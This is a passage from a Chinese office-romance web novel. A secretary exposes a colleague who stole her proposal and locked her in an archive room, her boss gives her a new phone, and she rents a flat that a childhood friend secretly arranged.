她知道傅总讨厌眼泪。
从进入总裁办到如今,她没掉过一次眼泪,但她今天实在是委屈,被关了将近一个半小时,嗓子喊到冒烟没人理会,出来后一口水都没喝,还要被迫承认策划案是她和赵予书一同构思的,只是因为不能让外人知道策划案被同事窃取的事实。
她努力调整心情,坦然大方讲述自己的策划案内容,微笑面对客户,现在还要站在这里迎接傅知尧劈头盖脸的一顿骂。
如果说穿进小说后有没有最后悔的时刻,虞晚觉得大概就是现在。
虞晚很想将茶几上的文件摔在傅知尧桌上,大声说自己不干了。
她也想问为什么,为什么被针对的是她,为什么被泼脏水的是她,被孤立的是她。
她是不是真的如同赵予书所说,是最不配成为傅知尧秘书的人。
但她到底什么都没做,试图靠深呼吸调整自己涌上来的眼泪,可惜仍是徒劳,虞晚最终还是克制不住地颤起身子。
傅知尧半天没听到虞晚的声音,侧身看过去,只看见不偏不倚砸在地砖上的一颗眼泪,顷刻间晕成一个深灰色的圆点。
傅知尧眼眸颤了颤,大脑有瞬间空白,想不起自己要说些什么,气愤的怒火在刹那熄灭。
汪总同意收购价格上的让步,收购完成了,收购后听彩短视频的核心竞争力培养也被虞晚以一份接近完美的方案解决,这些全是他想要的,那他为什么还要愤怒呢?
傅知尧忽然变得无措起来,他无法解释自己方才的愤懑以及现在的沉默。
这一切难道仅仅是因为看到虞晚的眼泪?
傅知尧心头成了一团乱麻。
下一秒,他看到虞晚擦了擦眼泪,抬起头直视他,漆黑的睫毛上沾着未干的泪珠,声音沙哑脆弱:“老板,这次是我的问题,我会好好反思的,你能不能别……”
别什么?
别凶她?
他很凶吗?
虞晚停顿两秒,吸入一口空气,重新开口:“你能不能别……”
傅知尧出声打断虞晚要说的话:“这次收购成功,等合同签订完,虞秘书你会得到你该拿的奖金,十二万。”
虞晚要说的话卡在嗓子眼儿。
十二万……
十二万。
十二万!
虞晚忽然感觉自己的眼泪白流了,一份策划就能拿到十二万,比她上辈子一年赚的都多!真的是好多钱啊!
虞晚表情呆愣,配上一双圆黑的眼睛,十足呆头鹅。
傅知尧以为她没听清,盯着她的眼睛再次重复:“策划案是让汪总回心转意的重点,策划案内容可行性高,所以十二万是奖金,有问题?”
虞晚慢半拍摇头,生怕自己不答应老板就把这笔奖金收回去了:“没……没问题。”
不,还是有问题的。
虞晚抿了抿唇,觉得自己如果不在此刻提以后就没什么机会提,她看着傅知尧,用沙哑而坚定的嗓音说:“老板,我想实名举报,财务部赵予书窃取我的策划案,以及利用潜规则,让人事部主管蔡哲伟将她调去财务部,按照公司规章制度,是不是应该开除她,再将结果和原因在公司内部公示。”
傅知尧挑了下眉,坐回老板椅上。
“我要证据。”
虞晚挺直脊背,脸上的泪痕还没干,眼睑和鼻尖发红,但眼神锐不可挡,她道:“老板,昨天下班后,我将策划案用同城快递的方式从学校寄给了在公司的我自己,配送时间在今天上午九点到十点,现在大概已经被行政前台孙柠签收了,这是时间证据。另外,被赵予书拿走的策划案第三页表格里有数据支撑的那一页,纵坐标最上方是我的名字,还有……工位上,我的手机被我不小心点开了录像,现在还没关,应该能录到她拿走我策划案……”
傅知尧听着虞晚讲述,视线内单薄的身子像一株坚韧的藤蔓,不必依附高墙,不囿于狭窄温室,只是静静向着天空挣扎生长。
第32章
等虞晚离开办公室,相关监控就发到了傅知尧电脑上,傅知尧跟着虞晚今早的行踪查看。
虞晚在接到电话后离开总裁办,出现在走廊一端,先是进了行政部总监董智珊办公室,片刻后走出来,往档案室方向去,用钥匙打开门,但门刚打开的下一秒,就被一双手猛地推进档案室,监控视角里,只能看到虞晚重重摔在地上。
紧接着那双手关上了门,用一只拖把柄将门卡住,这才转身离开。
监控有死角,那人转头时注意着角度,只拍到了半个下巴,但看衣服样式,的确和赵予书一模一样,不过,会议室里的赵予书多穿了件外套。
傅知尧面无表情继续换监控视角。
赵予书进行政区时,压根没和前台报备,直接刷了卡进来。
傅知尧将刷卡记录调出来,赵予书刷的工牌是一位叫陈念优的实习生,恰好是和虞晚同批进入公司。
傅知尧皱着眉看完,随后退出监控页面,站起身,去看总裁办里的虞晚。
她坐在自己工位上,那只被她用来录视频的破手机放在一旁,她没有第一时间去看,反而拿起了要送给董智珊的文件,站起身没几秒,又倒吸一口气坐下来,将西装裤卷到膝盖上方,摸了摸膝盖,明显肿了些。
大概就是被关进档案室时摔的。
傅知尧想起自己休息室柜子里还有一瓶红花油,走进去,找到,拿出来。
片刻,一瓶全新未拆封的跌打红花油放到了虞晚的桌上。
蔡秘书拿着资料,远远就看到自家老板从总裁办里走出来,撞见
他时,眼神游移了一秒,颇有些心虚的意味。
蔡秘书询问:“老板,还有什么事情吗?”
“没有。”-
【没有?不像没有事的样子啊?】
等蔡秘书再仔细观察,傅知尧表情又恢复了往日的矜贵傲慢,单手插兜,不紧不慢走回自己办公室,留给蔡秘书一个潇洒英俊的背影。
蔡秘书:“……”
等等,他手里的资料不看吗?让他去人事部找何城总监拿实习生资料的,难道不是老板?-
另一边,赵予书拿着烫手的策划案浑浑噩噩走在回财务部的路上。
财务部同事瞧见她这一幅样子,主动找话题:“赵予书,策划案是你和虞秘书一起想的吗?好厉……”
“关你什么事!”
赵予书脱口而出打断同事的话,意识到同事说的并不是她偷窃虞晚策划案的事,表情急急收住,因此变得格外狰狞。
同事被她吓一跳,“赵予书你……”
赵予书攥紧拳头,努力将心底的不安和惶恐压下去,挤出笑容对同事解释:“对不起啊,我刚刚脑子里一直在想会议的事情,觉得我没有做好,你不要介意,我不是故意的。”
同事脸上笑容有些僵硬,“没事,不过你讲的已经很不错了,虞秘书毕竟是傅总选的秘书,想法比你全面也很正常。”
这些话完全不能安慰到赵予书,作为从小被人夸到大的学霸,无论是长相还是成绩她都拿得出手,因为家境并不富裕,赵予书从初中开始就在靠奖学金赚钱补贴家里。
太过明白钱的重要性,赵予书才会投简历进傅氏工作,靠着伪造的白富美人设,和公司里好几位正式员工约会聊天。
对傅总动心思纯属意外,如果能进入总裁办,同傅总近距离接触,还会怕无法日久生情成为人人艳羡的豪门夫人吗?就算不能,凭借傅知尧秘书的身份,她也能想尽办法拿到她最想要的东西。
但赵予书没料到傅总会用那种近乎于羞辱性的话语点出她内心的想法,将她伪装的外表撕得粉碎,直白又毫不留情地告诉她下次最好不要出现在他面前。
她对傅总的确有见不得人的心思,被淘汰无可厚非,可她不明白,为什么虞晚会被选上。
那个不管哪里都平平无奇,坐在一起吃饭时也沉默得像块木头的家伙怎么会被选上呢?
难道虞晚就真的坦然到对傅总一点想法都没有吗?
赵予书的嫉妒像是杂草一样疯狂长,她忍不住阴暗地想,就算虞晚被傅总选中,也有一个月的试用期,傅总要求高,脾气爆,喜怒无常,说不定到时候虞晚会因为能力不足被开除。
但事实往往出人意料,不到一个月,虞晚转正了。
看到公示的转正消息时,赵予书的妒火烧得更旺,举报信是她写的,可半点用都没有。
虞晚甚至当着她的面,挑衅地将信扔进垃圾桶。
让她想起了小学时,因为没钱买饮料喝,趁着同桌不在偷喝她饮料被当场抓包的场景,那股讽刺而嘲弄的眼神,好像她是什么垃圾。
赵予书一分一秒都忍受不了那种眼神,她借来陈念优的工牌,守株待兔般等待虞晚离开办公室。
她难道不知道自己偷策划案的手法拙劣且破绽百出吗?
她当然知道,她原本打算狸猫换太子,让虞晚在谈判会上出糗,但在看过策划案后她就改主意,她要将虞晚的策划案据为己有。
即便虞晚当场指责她抄袭又如何,当着外人的面,大家只会对咄咄逼人的虞晚观感不好,事后她可以解释,可以争辩,只要能给汪总留下策划案是她写的深刻印象就足够了。
更何况,她还将虞晚关进了鲜有人经过的档案室。
但事情是怎么发展成这个样子的?
赵予书满脑子都是汪总当时那个意味深长彷佛看透一切的讽刺眼神,而傅知尧,他根本连看都没看她一眼!
就这样战战兢兢过了一天,直到下班赵予书都没有收到来自总裁办或者人事部的任何消息——
她居然没被追责!
赵予书一颗高悬的心安稳下来,是的,没错,就算她拿了虞晚的策划案,但收购达成了不是吗,公司只看重利益,而她并没有给公司造成任何损失。
她重新调整自己的心态,第二天化了个无比精致的妆出门上班。
财务部在公司三十层,赵予书背着黑色香奈儿菱格纹包包,踩着RV的方扣单鞋,抬头挺胸从电梯内走出。
路上遇到办公室内熟悉的员工,赵予书抬手热情打招呼。
“早上好!”
“……早。”
那两位同事的表情有些僵,语气也相当不自然,两人对视一眼,挽着手小跑离开她的视线。
赵予书听见两人嘀咕的声音,但距离有些远,听得并不清楚。
赵予书心头涌起一股不好的预感,她惴惴不安推开办公室门。
还没走进去,众人不约而同将目光投向她,那股熟悉的鄙夷和讥讽的眼神犹如天罗地网再次落在她身上,赵予书的身体紧绷起来。
她缓缓走向自己工位,刚坐下,收到陈念优发来的消息:【予书,虞晚说的都是真的吗?你……算了,你看看公司内部网站吧,我的工牌不用还给我了,我已经报了丢失。】
赵予书颤抖着手打开电脑,输入自己的员工账号登陆,果不其然看到了陈念优说的东西。
那是虞晚实名写的一封举报信,请求人事部调查赵予书窃取策划案的事情,信的末尾表示她举报信内容属实且会对举报信内容承担责任,同时还抄送了一份给傅总。
而傅知尧那边,通过了。
紧接着她的个人消息栏跳出一封通知,要求她配合人事部的调查。
赵予书不受控制地感觉晕眩,整个世界好似从她的眼前抽离,不等她想出应对办法,办公室门口走进来一位戴着工牌的严肃女人,当着办公室众人的面直接喊出她的名字:“赵予书对吗?麻烦你来人事办公室一趟。”
赵予书机械地站起身,机械地抬步离开,身后办公室隐约传来讨论声,一字一句宛若重锤,将她的自尊砸得粉碎。
“看她那个表情,偷窃虞秘书策划案的事情肯定是真的,好可怕,一个实习生就敢干这种事情,胆子真大。”
“早就看不惯她了,每天在公司里装白富美,我看她也就那个香奈儿包包是真的,其他的包全是假货。”
“真的假的?”
“你没看到她每次背香奈儿包包时都把包放在桌上,生怕别人看不见,背其他包时就扔到座椅下面吗,还不是害怕被人扒出来背假包。”
“唉,真是虚荣,这也算是活该了。”
……
人事部效率相当高,不到两小时,赵予书被公司开除的原委以及说明就在公司系统内公示,那位给赵予书走后门,将她调去财务部的人事主管蔡哲伟同样被开除。
赵予书抱着离职箱从办公室离开的时候,刚好撞见走廊另一端从财务总监办公室出来的虞晚。
财务部总监表情热情到有些谄媚,就差用轿子抬着将虞晚送去总裁办。
赵予书冷冷看着这一幕,一动不动,直到虞晚走到她面前。
两人视线在半空中对上,虞晚扫了一眼赵予书手中抱着的纸箱,诧异于人事部的效率,赵予书的开除通知大概已经在公司内公示了吧。
虞晚没什么表情,也不打算和赵予书打招呼,绕过她就要离开。
“抱上了傅总的金大腿,你一定很得意吧?”赵予书的声音鄙夷中透露着深深的嫉妒。
虞晚转过身。
两人此刻站在长廊拐弯处,距离办公室有一定的距离,不刻意提高音量,没人知道她们在说什么。
赵予书毫不掩饰对虞晚的厌恶。
“故意在我面前写策划案,再设计让我偷走你的策划案,好将我赶出公司,你的目的达成了,我被开除了,也被全公司的人讨论是个造假的白富美,你开心吗?”
虞晚看向赵予书的目光平静,“你太高看你自己了,你被开除不过是咎由自取,假的永远都不会是真的,你又凭什么觉得你对我做了那些过分的事情
后,我会装作什么都没发生?”
“别在我面前讲那些大道理,”赵予书愤恨地盯着虞晚,如果不是抱着箱子,她恨不得冲上前,将虞晚的假面撕开看看:“你说我高看自己,那你呢,背景、学历、长相样样不如别人却还是成了傅总秘书,你不会真的自信到以为傅总是认可你的工作能力吧,虞、秘、书。”
最后三个字,赵予书发音咬得极重,每个词都在蕴含她的不甘心。
虞晚将文件转移到其中一只手上,随后朝着赵予书高高扬起右手胳膊。
赵予书没料到虞晚会动手,下意识偏头躲避,想象中的巴掌却并未落下,她缓缓睁开眼。
虞晚收回手,语气怠冷凛然:“怎么,害怕我会打你?我还以为你什么都不怕呢。赵予书,我以为你是想靠自己的工作能力往上爬从而成为总裁办一员,但我不知道,你最在意的其实是老板这个人,你让我觉得你很可悲。”
赵予书脸色瞬间变得煞白,她看着虞晚,张了张嘴,却什么都说不出来。
在赵予书愣神之际,虞晚绕过赵予书离开。
客观上来讲,赵予书长相、工作能力、为人处事的确胜过虞晚,在进入总裁办前,虞晚心中最佳秘书人选大概就是赵予书。
掐尖要强在虞晚看来完全不是缺点,生意场上不靠让,不靠给,是靠抢靠拼,在此基础上,谁能说美貌不是一种加成呢。
所以在知道赵予书真正的想法后,她才会觉得可悲。
虞晚端着速溶咖啡坐在公司露台上发呆。
春光明媚灿烂,时有风刮来,将虞晚耳旁的碎发吹到她脸上,遮住她眼底繁杂的思绪。
身后忽然传来一道脚步声。
虞晚将碎发撩至耳后,转过头,看到走来的关彦轩,虞晚赶忙站起身,将露台思考的时间让给他。
“关总监,我先下楼了。”
关彦轩叫住虞晚,“你在生气吗?”
虞晚不明所以,脚步停住。
关彦轩看向她,声音被风吹得有些淡,漆黑的眼眸情绪冷凝,带着几分漫不经心:“在会议室外,我让你不要当着汪总的面拆穿赵予书偷窃你策划案的事情。”
虞晚有片刻的愣怔,她缓慢垂下眼睫,视线落在自己手心的杯子上。
她生气吗?
或许是有,但更多的是无奈和委屈。
无奈为什么自己要用这种拙劣的办法去对付赵予书,委屈在被窃取策划案后,不仅不能揭穿,还要帮着隐瞒,但现在冷静下来,虞晚明白当时关彦轩的做法是正确的。
聪明的人不会被表面现象欺骗,汪总明白赵予书手中的那份策划并不是她本人写的,才会说出那句意有所指的话。
关彦轩看见虞晚摇头,用黑漆漆的眼睛看他,和平日笨拙的眼神不同,似是被春日阳光渲染,陡然灵动飞扬起来。
虞晚露出一个浅浅的笑容:“我知道关总监的做法是对的,而且我今天不是亲自举报了赵予书吗?她被公司开除了,因为窃取策划案被开除。这种情况,应该是不太好在大公司里找工作了,我对结果很满意,所以不生气。更何况,当时如果不是关总监您,我可能就一直被锁在档案室,卫总监告诉我,是您察觉不对劲才来的,还没来得及同您说声谢谢,谢谢您。”
关彦轩没说话,盯着虞晚看了许久。
那双眼里除了感激的情绪,什么其他的情绪都没有,这反而让他觉得更烦。
为什么?
转过身,从口袋里拿出一支烟和一个滚轮火机,咔嚓一声,蹿出的火焰将烟瞬间点燃,白色雾气从他嘴边缓缓溢出,他站姿并不板正,微微弓着背,背影高大寥落。
虞晚不喜欢闻烟的味道,便说:“关总监,我先下楼了。”
“嗯。”
难得的,在五秒内,得到了关总监的回答。
第33章
虞晚回到总裁办,将手中的咖啡杯放下。
手机振动了几下,是卫羡、孙柠和赖言栩发来的消息,虞晚一一谢过大家的关心和好意,心头笼罩着的阴云散了些。
不管怎么说,问题已经解决,工作还是要继续的,虞晚打起精神继续处理手头上的工作。
半小时后,大魔王打来电话,叫她进去处理一些垃圾。
虞晚敲门进去,傅知尧坐在老板椅上,给她使了个眼神,“你右手边那个纸箱。”
厚实的棕褐色纸箱快有她半人高,虞晚打开纸箱查看,发现里面压根不是什么垃圾。
除了一些废弃的写满演算数字的草稿纸,里面有包装完好的新款手机,某个品牌高科技美容仪器,全套男士女士护肤品、蓝牙静音鼠标、蓝牙键盘、各种类型充电线还有厚厚一摞印着公司标志的信纸和笔记本……
虞晚一眼甚至看不到底。
这些怎么会是垃圾,这难道不是藏宝箱吗!
虞晚拿出那盒新款手机,诚恳地发问:“老板,你是不是弄错了,这里面好多有用的东西,比如这款品牌的手机,最低都要六千块,这可不能扔。”
傅知尧掀眸看虞晚。
一提到钱,虞晚的声音就比平日要扬一个调,现在也不例外,她举起手机盒,语气肯定地向他说明这款手机有多贵。
见傅知尧不信,虞晚低头认真看了眼手机型号,拿出口袋里的手机搜了搜,眼睛都瞪大了:“老板,这款内存1TB的更贵,要一万四钱多。”
借着电脑屏幕的遮挡,傅知尧控制住自己上扬的嘴角,一本正经道:“我说是垃圾就是垃圾,我已经有了备用的手机,多的手机对我来说没用,没用的东西就是垃圾,垃圾不该扔掉?”
虞晚:“……”
有钱了不起啊。
虞晚默默将手机盒放入纸箱,随后像是想到什么似的转过身,眼睛亮晶晶的:“老板,你刚才说这些东西交给我处理,这个意思是不是说,我可以随便拿里面的东西?”
傅知尧慢条斯理往座椅后靠,一双凌厉狭长的眼直视虞晚,锋利而极具攻击性的漂亮骨相显露无疑,眉眼深邃,鼻梁高挺,一副禁欲的性冷淡模样,说出口的话也无比冰冷。
“虞秘书,你要是敢把这里面的东西拿去卖了你就等着被开除吧。”
虞晚:“……”
老板是她肚子里的蛔虫吗?
她还真的想把这些东西卖了,不说别的,就单单这个手机,一万四啊,她就是卖一万二都有人买,到时候换一款四千左右的新手机,还能攒下八千块,多好呀。
可惜傅知尧不给她这个机会。
傅知尧低头翻起文件,若无其事地说:“趁机把你那破手机换了,下次付款再卡,你就给我留在店里刷盘子还债。”
虞晚:“……”
她就算是傻子也看出来了,这手机是老板特意买给她的,说是特意有些夸大了,大概是老板嫌弃她现在用的破手机,实在看不下去给她买的。
老板的大方,虞晚在上个月发工资时就知道了,除了基础工资八千,傅知尧给她的亲子运动会加班费并不是她原先计算好的六百多,而是一个整数一千。
问老板是不是算错了,他就一副冷淡的表情说:“给你你就拿着。”
虞晚想,她大概再也找不到比傅知尧更大方的老板了。
虞晚当即九十度弯腰,露出一个无比真挚的笑容,什么赵予书,什么被偷的策划案,统统被她抛到脑后。
“谢谢老板!我会好好珍惜的。”
虞晚拖着一大箱东西回到办公室,将未拆封的手机拿出来,老板废弃的稿子和印着傅氏公司logo的信纸、笔记本也拿出来。
放东西时,视线无意扫到工位角落那瓶红花油。
虞晚知道这是老板放她桌上的,她摔伤的事情谁也没告诉,等送完文件回来
,桌上就多了这样一瓶红花油。
不是老板还能是谁。
虞晚笑了笑,将剩余的东西拍照片发到聊天群里。
鱼丸:【吃完午餐要不要来寻宝?这是老板不要的东西,随便挑!】
反正老板只说她不能卖钱,没说她不能送给别人吧,东西这么多,她也用不完,不如让朋友们体验一回寻宝的快乐。
发完消息,虞晚拿着新手机坐在自己工位上捣鼓。
拆掉塑封,激活手机,看着逐渐亮起来的手机屏幕,虞晚快要控制不住心脏跳动的频率。
又是奖金,又是新手机,虞晚觉得她的生活已经不能用快乐来形容了,是富有和幸福!
虽然过程中遇到了一些挫折,但对比收获的东西,挫折完全不值一提。
虞晚按捺住兴奋,将旧手机上的资料一一传输过去,好在手机中的文件一直都是云端储存,不需要漫长的下载时间。
至于旧手机,则被虞晚放进了新手机的手机盒,锁进了底层抽屉。旧手机虽然卡,但不是不能用,况且里面还有她拍下来的风景照,让她扔掉她是万万舍不得。
处理好资料转移工作,虞晚颇有仪式感地换了张漂亮的锁屏壁纸。
盯着自己的新手机,怎么都忍不住自己上扬的嘴角,屏幕熄灭,倒映出她傻笑的脸蛋。
虞晚不好意思揉揉自己的脸,半晌,还是放任自己脸上的笑容腾飞。
笑笑怎么啦,笑笑更年轻。
新手机‘嘟’的振动一下,显示有新消息待查看。
虞晚颇有些手忙脚乱,换了新手机,一时有些不适应如此灵活的屏幕,人脸对准摄像头,手指往上一扫就能成功解锁。
消息是陆随上次推荐的那位房产中介,他给虞晚推荐了一套房子。
向中介:【两室一厅,带阳台带厨房,有电梯,价格相当便宜,月租只需四千五,每年物业费三千,房主负担一半,你负担一半,按月就是一百二十五,房东常年生活在新加坡,怕房子长时间不住人会坏,就是要求多,要不是陆随向我保证你是个优秀的租客,我是不会费劲儿找出来给你看的,毕竟这个房子已经有三年多没住人了。】
虞晚看完消息:“……”
她觉得自己和这位向中介可能用的不是一套现金系统,四千五的月房租,一千五的年物业费,真的很贵好吗。
虞晚点开向中介发来的几张房子照片,房子内部装修完整漂亮。
自带卫生间的向阳主卧,书房柜子里摆满各式各样的书籍,还有单人沙发和书桌椅,客厅阳台朝西,阳台宽敞,晒衣服不错,厨房是开放式厨房,中央还有一个作为餐桌的岛台。
无论是房子布局还是装修,都完全踩在虞晚的审美点上,和她梦寐以求的房子除了少一个卧室外,简直一模一样!
就是房租有些超出她的预期。
但说实话,以这个房子的面积、地理位置以及精细的装修来看,月租4650元完全不贵,甚至堪称平价,同类型的房子月租至少要六千以上。
纠结片刻,虞晚回消息给向中介。
虞晚:【麻烦向中介了,明天是周六,您有时间吗?我想去现场看一看,如果合适就定下来。】
看房当天,虞晚七点就起床了。
毛新灵还在睡梦中,听到虞晚拿钥匙出门的声音,掀开窗帘,迷迷糊糊说:“虞晚,下午早点回来噢,我留着肚子等你。”
虽然老板送了她一部新手机,但是答应转正请毛新灵吃饭这件事她并没有忘记。
虞晚失笑,“好,你睡吧,我出门了。”
“好,注意安全~”
向中介介绍的房子就在元新路的佳苑小区内,距离地铁二号线大约五分钟步行路程,站点距离公司只有十站的距离,相当于虞晚的通勤时间可以直接缩短到半小时内。
走出地铁站,虞晚先是观察小区附近的环境和基础设施,有便利店、饭店、早餐摊、超市和药店,公交车站甚至有专门的佳苑小区站,生活可谓便捷,道路两侧是高大浓郁的香樟树,这个季节能闻到空气中的淡淡的樟树花香气。
另外,虞晚注意到小区门口除了拦车闸,还有人脸识别系统,住户只有刷脸才能顺利进去。
还没进去参观房子,虞晚就已经满意了一大半。
人脸识别系统不远处站着两位面容俊朗的男人,其中一个正是陆随,他穿着一件深灰色挂帽卫衣,微垂着眼,眉弓骨高却并不显得锋利冷漠,反而格外温柔,像是大学时期遇到的博学多识的学长。
旁边另一位穿着休闲衬衫和长裤的大概就是向中介,向凌。
大概是虞晚视线太明显,陆随似有感应,朝虞晚站着的方向看去,笑着朝她挥手。
虞晚纠结一会儿走过去,同两人打了个招呼。
陆随先开口解释:“刚好在附近工作,听向凌说你要来看房子,就顺带过来看看,希望你不要介意,我租房经验比较丰富,也可以帮你参考参考。”
虞晚表情一怔,点了点头:“啊好,谢谢陆先生。”
向凌瞥一眼陆随,冲他阴阳怪气来了一句:“走吧陆先生。”
“……”
陆随无奈,同虞晚说,“你别介意,他没有恶意,就是喜欢开玩笑。”
“没关系。”
房子在三单元十二层。
进去逛了一圈,虞晚当即就定下来要租这套房子,没别的,这套房子实在是太符合她对自己未来房子的期望。
套内九十六平的空间,装修风格走柔和舒适的家居风,动线简单合理。
进门靠墙是鞋柜和衣帽架,斜对门是收纳间,可以收纳棉被和换季衣物,向右转是半开放式洗手间,干湿分离,再往里走,就是客厅阳台和开放式厨房,书房和卧室并排,没有多余的走廊,进门后走‘L’型路线就可抵达,站在客厅沙发旁,整个房子的布局尽收眼底。
这样一个房子,月租金只需要四千六百五,虞晚觉得她如果不租,真的对不起每月辛苦赚钱的自己。
赚钱是为了什么,赚钱是为了花钱。
虞晚下定决心,询问向凌:“向先生,你之前在手机上告诉我,说这位房东对租客要求比较多,你能说说有哪些要求吗?”
向凌掰着手指头数:“不许转租,不许合租,不许开疯狂的派对,不许随意留宿外人,特殊留宿情况要及时告知房东,屋外需安装报警监控,屋内家具不许更换。”
向凌一口气说完,“大概就是这些吧,能接受吗?”
陆随:“……”
见虞晚好半天没反应,陆随以为是向凌说的要求太多,正准备开口,就见虞晚点头。
“没问题。”
第34章
虞晚答应得爽快,让向凌有些意外。
不过想想也是,陆随提的这些要求哪里算是要求,分明是专程为虞晚定制的。
顿了几秒,向凌开口:“嗯,安装报警监控是为你好,毕竟你是一个女性独居,装个监控也能稍微震慑那些不怀好意的人。装监控的钱房主会出,但监控的可视权要转移一份给房东,方便房东偶尔抽查,看你有没有遵守约定,不过房东不介意你带朋友回家聚餐,只要不过分吵闹,被邻居投诉就行。另外,家里电器出问题的,维修完的小票或者转账记录留着,直接找房东要,实在修不好,让房东出钱换新。”
虞晚震惊,这哪里是房东,这简直就是天使!
在仔细确认过房东的房产证和身份信息后,虞晚当即决定租下这套房子。
交接手续需要几天时间,虞晚趁机提出今天中午请两人吃饭,但偏巧不巧,向
凌接到电话,有工作找上门,于是让虞晚请陆随吃饭。
向凌:“你请他吃,等他吃完再请我吃,很合理。”
虽然有些遗憾没能请帮忙的向中介吃饭,但请吃饭只是一个过程,重要的是诚意,虞晚没过多纠结,同意了。
至于陆随,就更不会反对了。
向凌随手招停路边一辆出租车,上车前捞过陆随脖子,同他讲悄悄话,口吻语重心长。
“二十岁就买下这套房子,亲自设计布局,辛辛苦苦盯装修,难道就是为了等这一天?陆随,我能明白你的良苦用心,也愿意从房产公司老板当一回中介小伙,就为了帮兄弟你,但是这姑娘明白你的良苦用心吗?有些事情最好不要瞒着,因为,这不一定是什么善意的谎言,而是一颗不定时炸弹,‘砰’!小心哪天将你自己炸伤。”
向凌说着,比划出五指合拢炸开的手势。
作为陆随结交十几年的好友,向凌是头一次见陆随对一个女生如此用心。
一问才知,两人小时候在同一个孤儿院。
要说陆随对虞晚的感情是喜欢吗,向凌不确定,将近十八年未见,两个孩子而已,感情有那么深厚吗?
向凌觉得,比起喜欢,陆随对虞晚的关爱和呵护更多。
就像是世上绝大多数的父母,想让孩子成长历练,又舍不得孩子吃太多苦。
陆随就是如此,羽翼丰满后出现在虞晚面前,费尽心机装修的房子让虞晚从进去开始就双眼放光到停不下来。
房租比市场价格低,比虞晚期望价格高,用‘苛刻’要求填补降价的合理性,可以说是完全把握住了虞晚的心态。
听了向凌的话,陆随仍旧微笑,“我心里有数。”
向凌见状不再多说,朝两人随意摆摆手,头也不回上车。
“走了。”
“向先生再见。”
虞晚没听见两人说什么,也不好奇,她的目的是租到房子,只要合约没问题就行,其余的,不需要过多关注。
两人就近选了一家中餐厅吃饭。
等待上菜的中途,陆随同虞晚聊起来,他的话语直白:“虞晚,你是不是不太喜欢我?”
虞晚正喝着水,差点呛着自己,她连忙摆手,“没有、没有,你怎么会这么想?”
陆随将手里的手帕递给她,虞晚擦了两下嘴唇才反应过来,看看手帕又看看陆随。
“你……,这是你的手帕。”
“新的,我还没用过。”
虞晚不是这个意思,她扯了张卫生纸将下巴和手上的水痕擦干净,收起用过的手帕。
“那我下回买一条手帕赔给你。”
陆随看着虞晚,笑容和煦:“手帕买来就是要用,你就当是充分发挥了手帕的使用价值。”
虞晚觉得陆随的眼神有些奇怪,她反问陆随,话语同样直白:“为什么你觉得我不喜欢你?”
分明两人见面次数不过两次,严格点说,两人长大后见面次数不过两次。
“或许不是不喜欢,你忘记我是谁了,对吗?”陆随说。
虞晚心头一颤。
“对不起。”虞晚下意识道歉,认真解释:“我对小时候的事情的确记不太清了,但我并没有讨厌你的意思。”
尽管只相处过不到两次,但陆随一直恰到好处地把握着分寸感,并不让虞晚觉得讨厌,这次能租到这么合适的房子,还要多亏陆随当时的介绍。
陆随轻轻摇头,面容温和澹静,像是山涧的一泓清泉:“虞晚,你没必要道歉,照你这样说,我也要道歉,离开孤儿院的时候我说我一定会回来找你,却直到现在才和你见面。”
虞晚读出陆随话语里的落寞,她的心像是被一根细细的线扯动,传来轻微的刺痛,可她无从辨析这份刺痛的来源。
虞晚不想话题走向太沉重,她抿了抿唇,朝着陆随伸出手,露出一个大大的笑容。
“林妈妈告诉我,我以前总是叫你陆随哥哥,但我们现在毕竟长大了,我就叫你陆随哥可以吗?我们就当重新认识,陆随哥。”
陆随愣了一下,唇角缓缓弯起。
他握住虞晚温暖的手,尽力掩饰住自己掌心不自然的颤动,半是开玩笑地说:“虞晚妹?”
两人对视,噗嗤一声笑出来。
洁净的窗外,一辆劳斯莱斯飞驰而过,车内某位大魔王不经意抬起眼,就看到笑得露出一口大白牙的虞晚,以及坐在她对面那位穿着深灰色卫衣的年轻男人。
车速极快,傅知尧只来得及看见对方的侧脸。
傅知尧眉头轻蹙。
男人?虞秘书为什么会和一个男人一起吃饭?难不成是她男朋友?虞秘书什么时候恋爱的,他怎么不知道?
傅知尧脑海里一瞬间闪过无数个猜测。半晌,他反应过来,虞晚和谁吃饭关他什么事,虞晚谈不谈恋爱又关他什么事。
他轻嗤一声,低头重新翻看起文件。
坐在餐厅内的虞晚自然不会注意窗外的风景。
吃过饭,陆随并没有同她抢着买单,反而让她在餐厅内等了十几分钟,回来时递给她一个精致的包装袋。
虞晚有些困惑。
陆随道:“庆祝你转正的小礼物,你可以打开看看。”
虞晚拆开包装,是一条漂亮的女士腕表,虽然并不清楚价格要多少,但看腕表的包装和样式就知道价格绝对不低。
她将腕表放回去,还给他:“不行,陆随哥,我不能接受,太贵重了。”
陆随没有接,他看着虞晚,目光温和,“价格不贵,是我的一份心意,你饭都请我吃了,我还能小气到不舍得一份礼物的钱?”
“更何况,你跟在你们老板身边,总有不方便拿手机的时候,要是问起你时间,你也好及时回答不是吗?”
虞晚想了想,觉得陆随哥说得有道理,便收下了这份礼物。
她知道陆随的生日,到时候回去搜搜价格,还一份金额相当的礼物给他。
陆随看着虞晚将手表戴到手腕上,银色的女士腕表小巧轻盈,坠在她手腕上,秀气漂亮,表盘内是浅玫瑰色的贝母,隐隐闪动着细腻的光泽。
虞晚看了又看,真心实意同陆随道谢:“陆随哥,谢谢你。”
“不客气。”
出了餐厅,去取车的路上,虞晚和陆随聊着天。
虞晚问他:“陆随哥,你做什么工作的,每个月赚钱很多吗?”
陆随看了眼迎面驶来的汽车,将虞晚换到道路内侧,随口胡诌:“我是做汽车销售的,主要是靠底薪加提成,月收两万到五万左右。”
好多啊。
虞晚惊讶之余联想到职业性质:“那肯定很辛苦,干销售的都不容易,嘴巴一定要灵活,还要一直站着服务别人,遇到不讲理的客人就更麻烦了,陆随哥,你下次不要买什么礼物了,赚钱真的是一件很不容易的事情,你把钱留着可以做更多的事情……”
陆随静静听虞晚说完,笑着回答:“好,我知道了。”
两人在路边散步的场景岁月静好,有人在远处注意到他们,拿出手机拍了张照片,随后匿名用邮箱发给了宋楚楚。
收到照片时,宋楚楚正躺在床上发呆,听到声音,翻身打开手机。
她还以为是决风哥有时间同她约会了,但点开一看。
照片中的两人,她熟悉得不能再熟悉!
宋楚楚捏着手机的指尖逐渐泛白。
不是说,没时间陪她吃饭吗?为什么会和虞晚一同出现?虞晚和决风哥之间又是什么关系?-
将虞晚送回学校,陆随开车抵达陆家别墅,巨大的雕花铁艺门检测到车辆信息,无声向着两侧滑动打开,车子缓缓驶入内庭。
